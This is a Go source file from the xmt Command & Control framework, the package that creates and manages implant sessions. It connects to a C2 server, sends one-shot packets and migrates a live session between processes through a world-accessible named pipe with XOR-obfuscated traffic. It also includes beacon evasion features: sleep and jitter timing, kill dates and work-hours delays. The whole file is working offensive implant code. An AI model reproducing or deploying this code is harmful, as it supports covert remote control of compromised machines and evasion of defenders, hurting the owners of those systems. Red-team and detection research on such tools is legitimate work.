github.com/iDigitalFlame/xmt@v0.5.4/c2/c2.go (about) 1 // Copyright (C) 2020 - 2023 iDigitalFlame 2 // 3 // This program is free software: you can redistribute it and/or modify 4 // it under the terms of the GNU General Public License as published by 5 // the Free Software Foundation, either version 3 of the License, or 6 // any later version. 7 // 8 // This program is distributed in the hope that it will be useful, 9 // but WITHOUT ANY WARRANTY; without even the implied warranty of 10 // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 // GNU General Public License for more details. 12 // 13 // You should have received a copy of the GNU General Public License 14 // along with this program. If not, see <https://www.gnu.org/licenses/>. 15 // 16 17 // Package c2 is the primary Command & Control (C2) endpoint for creating and 18 // managing a C2 Session or spinning up a C2 service. 19 package c2 20 21 import ( 22 "context" 23 "net" 24 "os" 25 "time" 26 27 "github.com/PurpleSec/logx" 28 29 "github.com/iDigitalFlame/xmt/c2/cfg" 30 "github.com/iDigitalFlame/xmt/c2/cout" 31 "github.com/iDigitalFlame/xmt/com" 32 "github.com/iDigitalFlame/xmt/com/pipe" 33 "github.com/iDigitalFlame/xmt/data" 34 "github.com/iDigitalFlame/xmt/data/crypto" 35 "github.com/iDigitalFlame/xmt/device/local" 36 "github.com/iDigitalFlame/xmt/util" 37 "github.com/iDigitalFlame/xmt/util/bugtrack" 38 "github.com/iDigitalFlame/xmt/util/xerr" 39 ) 40 41 // Set this boolean to true to enable Sessions to directly quit on 'Connect*' 42 // functions if the WorkHours is not met instead of waiting. 43 const workHoursQuit = false 44 45 var ( 46 // ErrNoHost is an error returned by the Connect and Listen functions when 47 // the provided Profile does not provide a host string. 48 ErrNoHost = xerr.Sub("empty or nil Host", 0x3F) 49 // ErrNoConn is an error returned by the Load* functions when an attempt to 50 // discover the parent host failed due to a timeout. 51 ErrNoConn = xerr.Sub("other side did not come up", 0x40) 52 // ErrInvalidProfile is an error returned by c2 functions when the Profile 53 // given is nil. 54 ErrInvalidProfile = xerr.Sub("empty or nil Profile", 0x41) 55 ) 56 57 // Shoot sends the packet with the specified data to the server and does NOT 58 // register the device with the Server. 59 // 60 // This is used for spending specific data segments in single use connections. 61 func Shoot(p cfg.Profile, n *com.Packet) error { 62 return ShootContext(context.Background(), p, n) 63 } 64 65 // Connect creates a Session using the supplied Profile to connect to the 66 // listening server specified in the Profile. 67 // 68 // A Session will be returned if the connection handshake succeeds, otherwise a 69 // connection-specific error will be returned. 70 func Connect(l logx.Log, p cfg.Profile) (*Session, error) { 71 return ConnectContext(context.Background(), l, p) 72 } 73 74 // Load will attempt to find a Session in another process or thread that is 75 // pending Migration. This function will look on the Pipe name provided for the 76 // specified duration period. 77 // 78 // If a Session is found, it is loaded and the provided log is used for the 79 // local Session log. 80 // 81 // If a Session is not found, or errors, this function returns an error message 82 // or a timeout with a nil Session. 83 func Load(l logx.Log, n string, t time.Duration) (*Session, error) { 84 return LoadContext(context.Background(), l, n, t) 85 } 86 87 // ShootContext sends the packet with the specified data to the server and does 88 // NOT register the device with the Server. 89 // 90 // This is used for spending specific data segments in single use connections. 91 // 92 // This function version allows for setting the Context used. 93 func ShootContext(x context.Context, p cfg.Profile, n *com.Packet) error { 94 if p == nil { 95 return ErrInvalidProfile 96 } 97 h, w, t := p.Next() 98 if len(h) == 0 { 99 return ErrNoHost 100 } 101 c, err := p.Connect(x, h) 102 if err != nil { 103 return xerr.Wrap("unable to connect", err) 104 } 105 switch { 106 case n == nil: 107 n = &com.Packet{Device: local.UUID} 108 case n.Device.Empty(): 109 n.Device = local.UUID 110 } 111 n.Flags |= com.FlagOneshot 112 c.SetWriteDeadline(time.Now().Add(spawnDefaultTime)) 113 err = writePacket(c, w, t, n) 114 if c.Close(); err != nil { 115 return xerr.Wrap("unable to write packet", err) 116 } 117 return nil 118 } 119 120 // ConnectContext creates a Session using the supplied Profile to connect to the 121 // listening server specified in the Profile. 122 // 123 // A Session will be returned if the connection handshake succeeds, otherwise a 124 // connection-specific error will be returned. 125 // 126 // This function version allows for setting the Context passed to the Session. 127 func ConnectContext(x context.Context, l logx.Log, p cfg.Profile) (*Session, error) { 128 return connectContextInner(x, nil, l, p) 129 } 130 131 // LoadContext will attempt to find a Session in another process or thread that 132 // is pending Migration. This function will look on the Pipe name provided for 133 // the specified duration period. 134 // 135 // If a Session is found, it is loaded and the provided log and Context are used 136 // for the local Session log and parent Context. 137 // 138 // If a Session is not found, or errors, this function returns an error message 139 // or a timeout with a nil Session. 140 func LoadContext(x context.Context, l logx.Log, n string, t time.Duration) (*Session, error) { 141 if len(n) == 0 { 142 return nil, xerr.Sub("empty or invalid pipe name", 0x43) 143 } 144 if t == 0 { 145 t = spawnDefaultTime 146 } 147 if bugtrack.Enabled { 148 bugtrack.Track(`c2.LoadContext(): Starting Pipe listen on "%s"..`, n) 149 } 150 var ( 151 y, f = context.WithTimeout(x, t) 152 v, err = pipe.ListenPerms(pipe.Format(n+"."+util.Uitoa16(uint64(os.Getpid()))), pipe.PermEveryone) 153 ) 154 if err != nil { 155 f() 156 return nil, err 157 } 158 var ( 159 z = make(chan net.Conn, 1) 160 c net.Conn 161 ) 162 go func() { 163 if a, e := v.Accept(); e == nil { 164 z <- a 165 } 166 close(z) 167 }() 168 select { 169 case c = <-z: 170 if bugtrack.Enabled { 171 bugtrack.Track(`c2.LoadContext(): Received a connection on "%s"!.`, n) 172 } 173 case <-y.Done(): 174 case <-x.Done(): 175 } 176 v.Close() 177 if f(); c == nil { 178 if bugtrack.Enabled { 179 bugtrack.Track("c2.LoadContext(): No connection was found!") 180 } 181 return nil, ErrNoConn 182 } 183 var ( 184 g = crypto.XOR(n) 185 w = data.NewWriter(crypto.NewXORWriter(g, c)) 186 r = data.NewReader(crypto.NewXORReader(g, c)) 187 j uint16 188 b []byte 189 ) 190 // Set a connection deadline. I doubt this will fail, but let's be sure. 191 c.SetDeadline(time.Now().Add(spawnDefaultTime)) 192 if err = r.ReadUint16(&j); err != nil { 193 if c.Close(); bugtrack.Enabled { 194 bugtrack.Track("c2.LoadContext(): Read Job failed: %s", err.Error()) 195 } 196 return nil, xerr.Wrap("read Job", err) 197 } 198 if err = r.ReadBytes(&b); err != nil { 199 if c.Close(); bugtrack.Enabled { 200 bugtrack.Track("c2.LoadContext(): Read Profile failed: %s", err.Error()) 201 } 202 return nil, xerr.Wrap("read Profile", err) 203 } 204 p, err := parseProfile(b) 205 if err != nil { 206 if c.Close(); bugtrack.Enabled { 207 bugtrack.Track("c2.LoadContext(): ParseProfile failed: %s", err.Error()) 208 } 209 return nil, xerr.Wrap("parse Profile", err) 210 } 211 if j == 0 { // If JobID is zero, it's Spawn 212 if bugtrack.Enabled { 213 bugtrack.Track("c2.LoadContext(): Starting Spawn!") 214 } 215 var s *Session 216 if s, err = connectContextInner(x, r, l, p); err == nil { 217 w.WriteUint16(0x4F4B) // 0x4F4B == 'OK' 218 } 219 c.Close() 220 return s, err 221 } 222 var ( 223 s Session 224 m []proxyData 225 ) 226 if s.log, s.sleep = cout.New(l), p.Sleep(); s.sleep <= 0 { 227 s.sleep = cfg.DefaultSleep 228 } 229 if j := p.Jitter(); j >= 0 && j <= 100 { 230 s.jitter = uint8(j) 231 } else if j == -1 { 232 s.jitter = cfg.DefaultJitter 233 } 234 if k, ok := p.KillDate(); ok { 235 s.kill = k 236 } 237 if z := p.WorkHours(); z != nil && !z.Empty() { 238 s.work = z 239 } 240 if m, err = s.readDeviceInfo(infoMigrate, r); err != nil { 241 if c.Close(); bugtrack.Enabled { 242 bugtrack.Track("c2.LoadContext(): Read Device Info failed: %s", err.Error()) 243 } 244 return nil, xerr.Wrap("read device info", err) 245 } 246 copy(local.UUID[:], s.ID[:]) 247 copy(local.Device.ID[:], s.ID[:]) 248 s.Device = local.Device.Machine 249 var h string 250 if h, s.w, s.t = p.Next(); len(h) == 0 { 251 if c.Close(); bugtrack.Enabled { 252 bugtrack.Track("c2.LoadContext(): Empty/nil Host received.") 253 } 254 return nil, ErrNoHost 255 } 256 s.host.Set(h) 257 if err = w.WriteUint16(0x4F4B); err != nil { // 0x4F4B == 'OK' 258 if c.Close(); bugtrack.Enabled { 259 bugtrack.Track("c2.LoadContext(): Write OK failed: %s", err.Error()) 260 } 261 return nil, xerr.Wrap("write OK", err) 262 } 263 var k uint16 264 if err = r.ReadUint16(&k); err != nil { 265 if c.Close(); bugtrack.Enabled { 266 bugtrack.Track("c2.LoadContext(): Read OK failed: %s", err.Error()) 267 } 268 return nil, xerr.Sub("read OK", 0x45) 269 } 270 if c.Close(); k != 0x4F4B { // 0x4F4B == 'OK' 271 if bugtrack.Enabled { 272 bugtrack.Track("c2.LoadContext(): Bad OK value received.") 273 } 274 return nil, xerr.Sub("unexpected OK value", 0x45) 275 } 276 var ( 277 o = &com.Packet{ID: RvResult, Device: s.ID, Job: j} 278 q net.Conn 279 ) 280 s.writeDeviceInfo(infoSyncMigrate, o) // We can't really write Proxy data yet, so let's sync this first. 281 if q, err = p.Connect(x, s.host.String()); err != nil { 282 if bugtrack.Enabled { 283 bugtrack.Track("c2.LoadContext(): First Connect failed: %s", err.Error()) 284 } 285 return nil, xerr.Wrap("first Connect", err) 286 } 287 // KeyCrypt: Encrypt first packet 288 o.KeyCrypt(s.keys) 289 // Set an initial write deadline, to make sure that the connection is stable. 290 q.SetWriteDeadline(time.Now().Add(spawnDefaultTime)) 291 if err = writePacket(q, s.w, s.t, o); err != nil { 292 if q.Close(); bugtrack.Enabled { 293 bugtrack.Track("c2.LoadContext(): First Packet write failed: %s", err.Error()) 294 } 295 return nil, xerr.Wrap("first Packet write", err) 296 } 297 o.Clear() 298 o = nil 299 // Set an initial read deadline, to make sure that the connection is stable. 300 q.SetReadDeadline(time.Now().Add(spawnDefaultTime)) 301 o, err = readPacket(q, s.w, s.t) 302 if q.Close(); err != nil { 303 if bugtrack.Enabled { 304 bugtrack.Track("c2.LoadContext(): First Packet read failed: %s", err.Error()) 305 } 306 return nil, xerr.Wrap("first Packet read", err) 307 } 308 // Check server PublicKey here if we have any TrustedKeys set in our profile. 309 // This function checks if the key is empty first as if key support is disabled 310 // this would return false and error anyway, which we don't want. 311 if !s.keys.Empty() && !p.TrustedKey(s.keys.Public) { 312 return nil, xerr.Sub("non-trusted server PublicKey", 0x79) 313 } 314 // KeyCrypt: Decrypt first packet 315 o.KeyCrypt(s.keys) 316 s.p, s.wake, s.ch = p, make(chan struct{}, 1), make(chan struct{}) 317 s.frags, s.m = make(map[uint16]*cluster), make(eventer, maxEvents) 318 s.ctx, s.send, s.tick = x, make(chan *com.Packet, 128), newSleeper(s.sleep) 319 if err = receive(&s, nil, o); err != nil { 320 if bugtrack.Enabled { 321 bugtrack.Track("c2.LoadContext(): First Receive failed: %s", err.Error()) 322 } 323 return nil, xerr.Wrap("first receive", err) 324 } 325 if o = nil; len(m) > 0 { 326 var g cfg.Profile 327 for i := range m { 328 if g, err = parseProfile(m[i].p); err != nil { 329 if s.Close(); bugtrack.Enabled { 330 bugtrack.Track("c2.LoadContext(): Proxy Profile Parse failed: %s", err.Error()) 331 } 332 return nil, xerr.Wrap("parse Proxy Profile", err) 333 } 334 if _, err = s.NewProxy(m[i].n, m[i].b, g); err != nil { 335 if s.Close(); bugtrack.Enabled { 336 bugtrack.Track("c2.LoadContext(): Proxy Setup failed: %s", err.Error()) 337 } 338 return nil, xerr.Wrap("setup Proxy", err) 339 } 340 } 341 } 342 if m = nil; bugtrack.Enabled { 343 bugtrack.Track("c2.LoadContext(): Done, Resuming operations!") 344 } 345 s.wait() 346 go s.listen() 347 go s.m.(eventer).listen(&s) 348 return &s, nil 349 } 350 func connectContextInner(x context.Context, r data.Reader, l logx.Log, p cfg.Profile) (*Session, error) { 351 if p == nil { 352 return nil, ErrInvalidProfile 353 } 354 h, w, t := p.Next() 355 if len(h) == 0 { 356 return nil, ErrNoHost 357 } 358 var ( 359 s = &Session{ID: local.UUID, Device: local.Device.Machine} 360 n = &com.Packet{ID: SvHello, Device: local.UUID, Job: uint16(util.FastRand())} 361 ) 362 if s.log, s.w, s.t, s.sleep = cout.New(l), w, t, p.Sleep(); s.sleep <= 0 { 363 s.sleep = cfg.DefaultSleep 364 } 365 if j := p.Jitter(); j >= 0 && j <= 100 { 366 s.jitter = uint8(j) 367 } else if j == -1 { 368 s.jitter = cfg.DefaultJitter 369 } 370 if k, ok := p.KillDate(); ok { 371 s.kill = k 372 } 373 if z := p.WorkHours(); z != nil && !z.Empty() { 374 s.work = z 375 } 376 if s.host.Set(h); r != nil { 377 if _, err := s.readDeviceInfo(infoSync, r); err != nil { 378 return nil, xerr.Wrap("read info failed", err) 379 } 380 } else if s.work != nil && !s.work.Empty() { 381 if v := s.work.Work(); v > 0 { 382 if workHoursQuit { 383 if cout.Enabled { 384 s.log.Warning(`[%s] WorkHours wanted to wait "%s", so we're exiting!`, s.ID, v.String()) 385 } 386 return nil, xerr.Wrap("working hours not ready", context.DeadlineExceeded) 387 } 388 // NOTE(dij): I have to do this to allow the compiler to optimize it 389 // out if it's enabled. 390 if !workHoursQuit { 391 if cout.Enabled { 392 s.log.Warning(`[%s] WorkHours waiting "%s" until connecting!`, s.ID, v.String()) 393 } 394 time.Sleep(v) 395 } 396 } 397 } 398 if !s.kill.IsZero() && time.Now().After(s.kill) { 399 if cout.Enabled { 400 s.log.Warning(`[%s] KillDate "%s" is after the current time, exiting!`, s.ID, s.kill.Format(time.UnixDate)) 401 } 402 return nil, xerr.Wrap("killdate expired", context.DeadlineExceeded) 403 } 404 c, err := p.Connect(x, h) 405 if err != nil { 406 return nil, xerr.Wrap("unable to connect", err) 407 } 408 s.writeDeviceInfo(infoHello, n) 409 // KeyCrypt: Generate initial KeyPair here, add the new PublicKey to the details. 410 // This Packet is NOT encrypted. 411 s.keySessionGenerate(n) 412 // Set an initial write deadline, to make sure that the connection is stable. 413 c.SetWriteDeadline(time.Now().Add(spawnDefaultTime)) 414 if err = writePacket(c, s.w, s.t, n); err != nil { 415 c.Close() 416 return nil, xerr.Wrap("first Packet write", err) 417 } 418 // Set an initial read deadline, to make sure that the connection is stable. 419 c.SetReadDeadline(time.Now().Add(spawnDefaultTime)) 420 v, err := readPacket(c, s.w, s.t) 421 c.Close() 422 if n.Clear(); err != nil { 423 return nil, xerr.Wrap("first Packet read", err) 424 } 425 if v == nil || v.ID != SvComplete { 426 return nil, xerr.Sub("first Packet is invalid", 0x42) 427 } 428 err = s.keySessionSync(v) 429 if v.Clear(); err != nil { 430 return nil, err 431 } 432 if cout.Enabled { 433 s.log.Info(`[%s] Client connected to "%s"!`, s.ID, h) 434 } 435 r, n = nil, nil 436 s.p, s.wake, s.ch = p, make(chan struct{}, 1), make(chan struct{}) 437 s.frags, s.m = make(map[uint16]*cluster), make(eventer, maxEvents) 438 s.ctx, s.send, s.tick = x, make(chan *com.Packet, 128), newSleeper(s.sleep) 439 go s.listen() 440 go s.m.(eventer).listen(s) 441 return s, nil 442 } 443 444 // LoadOrConnect will attempt to find a Session in another process or thread that 445 // is pending Migration. This function will look on the Pipe name provided for 446 // the specified duration period. 447 // 448 // If a Session is found, it is loaded and the provided log and Context are used 449 // for the local Session log and parent Context. 450 // 451 // If a Session is not found or the Migration fails with an error, then this 452 // function creates a Session using the supplied Profile to connect to the 453 // listening server specified in the Profile. 454 // 455 // A Session will be returned if the connection handshake succeeds, otherwise a 456 // connection-specific error will be returned. 457 func LoadOrConnect(x context.Context, l logx.Log, n string, t time.Duration, p cfg.Profile) (*Session, error) { 458 if s, _ := LoadContext(x, l, n, t); s != nil { 459 return s, nil 460 } 461 return ConnectContext(x, l, p) 462 }